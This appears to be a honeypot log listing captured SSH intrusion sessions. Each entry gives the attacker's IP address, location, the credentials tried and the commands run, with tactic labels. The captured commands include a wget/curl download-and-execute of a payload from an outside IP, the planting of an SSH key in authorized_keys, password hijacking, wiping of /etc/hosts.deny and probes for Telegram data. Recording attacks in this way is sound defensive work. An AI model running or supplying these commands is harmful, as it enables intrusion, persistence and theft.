"GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—10
$ uname -s -v -n -m 2 > /dev/null Γ—10
$ uname -m 2 > /dev/null Γ—10
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—10
🎭 cipher_root_2 (66.181.171.136) β€” Ulan Bator, Mongolia Β· 48 sessions Β· 48 cmds
2026-03-24 09:38 EDT Β· as admin/123456, admin/admin, admin/admin123
Ran uname 2x across 2 sessions β€” automated OS fingerprinting.
$ uname -s -v -n -r -m Γ—48
🎭 cipher_root_68 (103.61.122.229) β€” Thanh Liệt, Vietnam Β· 3 sessions Β· 3 cmds
2026-03-03 07:06 EST Β· as root/1234, root/admin, root/qwerty
history snooping β†’ hostname discovery
$ hostname Γ—2
↳ hostname discovery
$ history | tail -5
↳ history snooping
🎭 rogue_root_43 (144.124.196.105) β€” Tashkent, Uzbekistan Β· 1 session Β· 1 cmd
2026-03-26 08:42 EDT Β· as root/root
CPU architecture scan
$ lscpu
↳ CPU architecture scan
🎭 kimchi_root_7 (211.185.125.204) β€” Wŏnju, South Korea Β· 1 session Β· 9 cmds
2026-03-26 05:02 EDT Β· as root/root
network mapping β†’ OS/kernel identification β†’ CPU profiling
$ /ip cloud print
$ ifconfig
↳ network mapping
$ uname -a
↳ OS/kernel identification
$ cat /proc/cpuinfo
↳ CPU profiling
$ ps | grep '[Mm]iner'
$ ps -ef | grep '[Mm]iner'
$ ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*
$ locate D877F783D5D3EF8Cs
$ echo Hi | cat -n
🎭 star_root_14 (85.239.151.41) β€” New York, United States Β· 1 session Β· 7 cmds
2026-03-26 04:29 EDT Β· as admin/admin
enable β†’ system β†’ shell β†’ sh β†’ linuxshell β†’ cd /tmp/; echo "senpai" > rootsenpai; cat rootsenpai; rm -rf rootsenpai β†’ rm -rf shr; wget http://202.155.10.112/shr || curl -O http://202.155.10.1
$ enable
$ system
$ shell
$ sh
$ linuxshell
$ cd /tmp/; echo "senpai" > rootsenpai; cat rootsenpai; rm -rf rootsenpai
$ rm -rf shr; wget http://202.155.10.112/shr || curl -O http://202.155.10.112/shr || tftp 202.155.10.112 -c get shr || tftp -g -r shr 202.155.10.112; chmod 777 shr;./shr ssh; rm -rf shr
↳ payload download from C2
🎭 abba_root (94.254.3.142) β€” Stockholm, Sweden Β· 1 session Β· 9 cmds
2026-03-26 02:33 EDT Β· as root/root
network mapping β†’ OS/kernel identification β†’ CPU profiling
$ /ip cloud print
$ ifconfig
↳ network mapping
$ uname -a
↳ OS/kernel identification
$ cat /proc/cpuinfo
↳ CPU profiling
$ ps | grep '[Mm]iner'
$ ps -ef | grep '[Mm]iner'
$ ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*
$ locate D877F783D5D3EF8Cs
$ echo Hi | cat -n
🎭 shadow_root_46 (38.250.116.128) β€” Ica, Peru Β· 1 session Β· 4 cmds
2026-03-25 20:46 EDT Β· as pi/raspberry
export β†’ uname β†’ cat
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output"
$ uname -s -v -n -m 2 > /dev/null
$ uname -m 2 > /dev/null
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1
🎭 cipher_root_69 (45.78.198.228) β€” Singapore, Singapore Β· 1 session Β· 11 cmds
2026-03-25 15:35 EDT Β· as user/user
chattr -ia .ssh β†’ rm -rf .ssh β†’ mkdir .ssh β†’ echo RSA key β†’ passwd -P user β†’ cat /proc/cpuinfo | grep name | wc -l β†’ cat /proc/cpuinfo | awk hardware profiling β†’ free -m | awk memory audit β†’ ls -lh $(which ls) β†’ which ls β†’ crontab -l
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
↳ CPU profiling
$ echo -e "user\nul0tIzCNbZv3\nul0tIzCNbZv3"|passwd|bash
$ Enter new UNIX password:
$ echo "user\nul0tIzCNbZv3\nul0tIzCNbZv3\n"|passwd
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
↳ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
↳ persistence setup
🎭 monsoon_root_6 (61.2.141.217) β€” Kochi, India Β· 1 session Β· 20 cmds
2026-03-25 15:28 EDT Β· as user/user
cd ~ && rm -rf .ssh && mkdir .ssh β†’ echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7Vv" β†’ echo "user\nk8I4H0hSyNyZ\nk8I4H0hSyNyZ"|passwd
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
↳ CPU profiling
$ echo -e "user\nk8I4H0hSyNyZ\nk8I4H0hSyNyZ"|passwd|bash
$ Enter new UNIX password:
$ echo "user\nk8I4H0hSyNyZ\nk8I4H0hSyNyZ\n"|passwd
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
↳ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
↳ persistence setup
$ w
↳ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
↳ CPU profiling
$ top
↳ process monitoring
$ uname
↳ OS identification
$ uname -a
↳ OS/kernel identification
$ whoami
↳ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
🎭 yankee_root_16 (146.190.79.63) β€” North Bergen, United States Β· 1 session Β· 20 cmds
2026-03-25 15:18 EDT Β· as user/user
cd ~; chattr -ia .ssh; lockr -ia .ssh β†’ cd ~ && rm -rf .ssh && mkdir .ssh β†’ echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7Vv" β†’ cat /proc/cpuinfo | grep name | wc
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
↳ CPU profiling
$ echo -e "user\nbyF10adwH3Xo\nbyF10adwH3Xo"|passwd|bash
$ Enter new UNIX password:
$ echo "user\nbyF10adwH3Xo\nbyF10adwH3Xo\n"|passwd
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
↳ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
↳ persistence setup
$ w
↳ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
↳ CPU profiling
$ top
↳ process monitoring
$ uname
↳ OS identification
$ uname -a
↳ OS/kernel identification
$ whoami
↳ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
🎭 rogue_root_44 (14.225.3.79) β€” Hanoi, Vietnam Β· 1 session Β· 20 cmds
2026-03-25 15:15 EDT Β· as user/user
file attribute tampering β†’ SSH key persistence β†’ CPU profiling
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
↳ CPU profiling
$ echo -e "user\n3ledwUSVdDaN\n3ledwUSVdDaN"|passwd|bash
$ Enter new UNIX password:
$ echo "user\n3ledwUSVdDaN\n3ledwUSVdDaN\n"|passwd
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
↳ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
↳ persistence setup
$ w
↳ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
↳ CPU profiling
$ top
↳ process monitoring
$ uname
↳ OS identification
$ uname -a
↳ OS/kernel identification
$ whoami
↳ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
🎭 wraith_root_46 (23.97.62.120) β€” Singapore, Singapore Β· 3 sessions Β· 3 cmds
2026-03-25 08:14 EDT Β· as root/1234
hostname discovery β†’ privilege check
$ hostname
↳ hostname discovery
$ whoami Γ—2
↳ privilege check
🎭 fjord_root_4 (78.82.135.89) β€” Norsborg, Sweden Β· 1 session Β· 9 cmds
2026-03-25 07:54 EDT Β· as root/root
network mapping β†’ OS/kernel identification β†’ CPU profiling
$ /ip cloud print
$ ifconfig
↳ network mapping
$ uname -a
↳ OS/kernel identification
$ cat /proc/cpuinfo
↳ CPU profiling
$ ps | grep '[Mm]iner'
$ ps -ef | grep '[Mm]iner'
$ ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*
$ locate D877F783D5D3EF8Cs
$ echo Hi | cat -n
🎭 phantom_root_42 (41.212.152.205) β€” Port Louis, Mauritius Β· 1 session Β· 1 cmd
2026-03-25 06:27 EDT Β· as root/root
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ uname -s -m
🎭 tiger_db (52.172.177.191) β€” Pune, India Β· 1 session Β· 2 cmds
2026-03-25 01:54 EDT Β· as oracle/password
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
🎭 burger_db_2 (50.84.211.204) β€” Austin, United States Β· 1 session Β· 2 cmds
2026-03-25 01:41 EDT Β· as oracle/password
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
🎭 rogue_db (186.80.18.158) β€” MedellΓ­n, Colombia Β· 1 session Β· 2 cmds
2026-03-25 01:33 EDT Β· as oracle/password
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
🎭 specter_sol_3 (60.244.155.70) β€” Taichung, Taiwan Β· 1 session Β· 2 cmds
2026-03-24 23:17 EDT Β· as oracle/12345
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
🎭 crepe_root (87.106.53.167) β€” Courbevoie, France Β· 35 sessions Β· 35 cmds
2026-03-24 16:50 EDT Β· as admin/123456, admin/admin, admin/admin123
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ uname -s -v -n -r -m Γ—35
🎭 bistro_root (217.76.49.154) β€” Lauterbourg, France Β· 1 session Β· 3 cmds
2026-03-24 18:00 EDT Β· as guest/guest
make executable (world) β†’ uname β†’ core count check
$ arch_info=$(uname -m); cpu_count=$(nproc); echo -e "guest\n9iIeGFXX\n9iIeGFXX" | passwd > /dev/null 2>&1; if [[ ! -d "${HOME}/.ssh" ]]; then; mkdir -p "${HOME}/.ssh" >/dev/null 2>&1; fi; touch "${HOME}/.ssh/authorized_keys" 2>/dev/null; echo -e "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEAk5YcGjNbxRvJI6KfQNawBc4zXb5Hsbr0qflelvsdtu1MNvQ7M+ladgopaPp/trX4mBgSjqATZ9nNYqn/MEoc80k7eFBh+bRSpoNiR+yip5IeIs9mVHoIpDIP6YexqwQCffCXRIUPkcUOA/x/v3jySnP6HCyjn6QzKILlMl8zB3RKHiw0f14sRESr4SbI/Dp2SokPZxNBJwwa4MUa/hx5bTE/UqNU2+b6b+W+zR9YRl610TFE/mUaFiXgtnmQsrGG6zflB5JjxzWaHl3RRpHhaOe5GdPzf1OhXJv4mCt2VKwcLWIyRQxN3fsrrlCF2Sr3c0SjaYmhAnXtqmednQE+rw== server" > ${HOME}/.ssh/authorized_keys; chmod 600 ${HOME}/.ssh/authorized_keys >/dev/null 2>&1; chmod 700 ${HOME}/.ssh >/dev/null 2>&1; echo "$arch_info:$cpu_count"
↳ make executable (world)
$ uname -m
$ nproc
↳ core count check
🎭 panda_root_20 (8.138.207.213) β€” Guangzhou, China Β· 1 session Β· 1 cmd
2026-03-24 17:29 EDT Β· as admin/admin
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ uname -a
↳ OS/kernel identification
🎭 pretzel_root_12 (116.203.194.55) β€” Nuremberg, Germany Β· 3 sessions Β· 3 cmds
2026-03-24 14:26 EDT Β· as root/1234, root/123456, root/12345678
history snooping β†’ netstat β†’ OS/kernel identification
$ history | tail -5
↳ history snooping
$ netstat -tulpn | head -10
$ uname -a
↳ OS/kernel identification
🎭 dragon_root_19 (180.101.149.231) β€” Nanjing, China Β· 1 session Β· 1 cmd
2026-03-24 11:35 EDT Β· as root/root
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ uname -s -m
🎭 meatball_root_2 (85.24.209.239) β€” Tumba, Sweden Β· 1 session Β· 9 cmds
2026-03-24 08:42 EDT Β· as root/root
network mapping β†’ OS/kernel identification β†’ CPU profiling
$ /ip cloud print
$ ifconfig
↳ network mapping
$ uname -a
↳ OS/kernel identification
$ cat /proc/cpuinfo
↳ CPU profiling
$ ps | grep '[Mm]iner'
$ ps -ef | grep '[Mm]iner'
$ ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*
$ locate D877F783D5D3EF8Cs
$ echo Hi | cat -n
🎭 panda_root_21 (123.150.157.146) β€” Youyilu, China Β· 1 session Β· 1 cmd
2026-03-24 05:34 EDT Β· as root/root
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ uname -s -m
🎭 rogue_root_45 (103.67.78.217) β€” Cileunyi, Indonesia Β· 2 sessions Β· 4 cmds
2026-03-16 01:06 EDT Β· as oracle/1, oracle/Oracle123!
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh Γ—2
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ Γ—2
↳ SSH key persistence
🎭 jade_root_17 (116.176.58.41) β€” Jinrongjie, China Β· 1 session Β· 1 cmd
2026-03-24 00:21 EDT Β· as root/root
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ uname -s -m
🎭 abba_root_2 (171.25.158.74) β€” Vaxjo, Sweden Β· 1 session Β· 2 cmds
2026-03-23 22:25 EDT Β· as oracle/Oracle123!
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
🎭 ghost_root_71 (78.44.192.210) β€” Prague, Czechia Β· 2 sessions Β· 21 cmds
2026-03-17 02:52 EDT Β· as oracle/Oracle123!, root/12345678
file attribute tampering β†’ SSH key persistence β†’ CPU profiling β†’ execute from /tmp β†’ persistence setup
$ cd ~; chattr -ia .ssh; lockr -ia .ssh Γ—2
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ Γ—2
↳ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
↳ CPU profiling
$ echo "root:8MKnGGQCwKLM"|chpasswd|bash
$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;
↳ execute from /tmp
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
↳ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
↳ persistence setup
$ w
↳ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
↳ CPU profiling
$ top
↳ process monitoring
$ uname
↳ OS identification
$ uname -a
↳ OS/kernel identification
$ whoami
↳ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
🎭 dragon_root_20 (120.48.17.7) β€” Beijing, China Β· 1 session Β· 1 cmd
2026-03-23 20:59 EDT Β· as root/root
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ uname -s -m
🎭 seoul_root_12 (175.215.107.165) β€” Gimhae, South Korea Β· 1 session Β· 9 cmds
2026-03-23 10:10 EDT Β· as root/root
Credential validation (root/root) β†’ OS fingerprinting (uname -a, /ip cloud print) β†’ hardware profiling (ifconfig, cat /proc/cpuinfo) β†’ cryptomining reconnaissance (ps | grep miner, ps -ef | grep miner) β†’ targeted data exfiltration probe (ls -la ~/.local/share/TelegramDesktop/tdata, locate D877F783
$ /ip cloud print
$ ifconfig
↳ network mapping
$ uname -a
↳ OS/kernel identification
$ cat /proc/cpuinfo
↳ CPU profiling
$ ps | grep '[Mm]iner'
$ ps -ef | grep '[Mm]iner'
$ ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*
$ locate D877F783D5D3EF8Cs
$ echo Hi | cat -n
🎭 carnival_root_3 (201.17.133.138) β€” Nova Lima, Brazil Β· 1 session Β· 20 cmds
2026-03-23 09:40 EDT Β· as test/test
cd ~; chattr -ia .ssh; lockr -ia .ssh β†’ cd ~ && rm -rf .ssh && mkdir .ssh β†’ echo "ssh-rsa..." β†’ cat /proc/cpuinfo | grep name | wc -l β†’ echo "test\nzaxEc6joTQTW\nzaxEc6joTQTW"|passwd|bash β†’ Enter new UNIX password
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
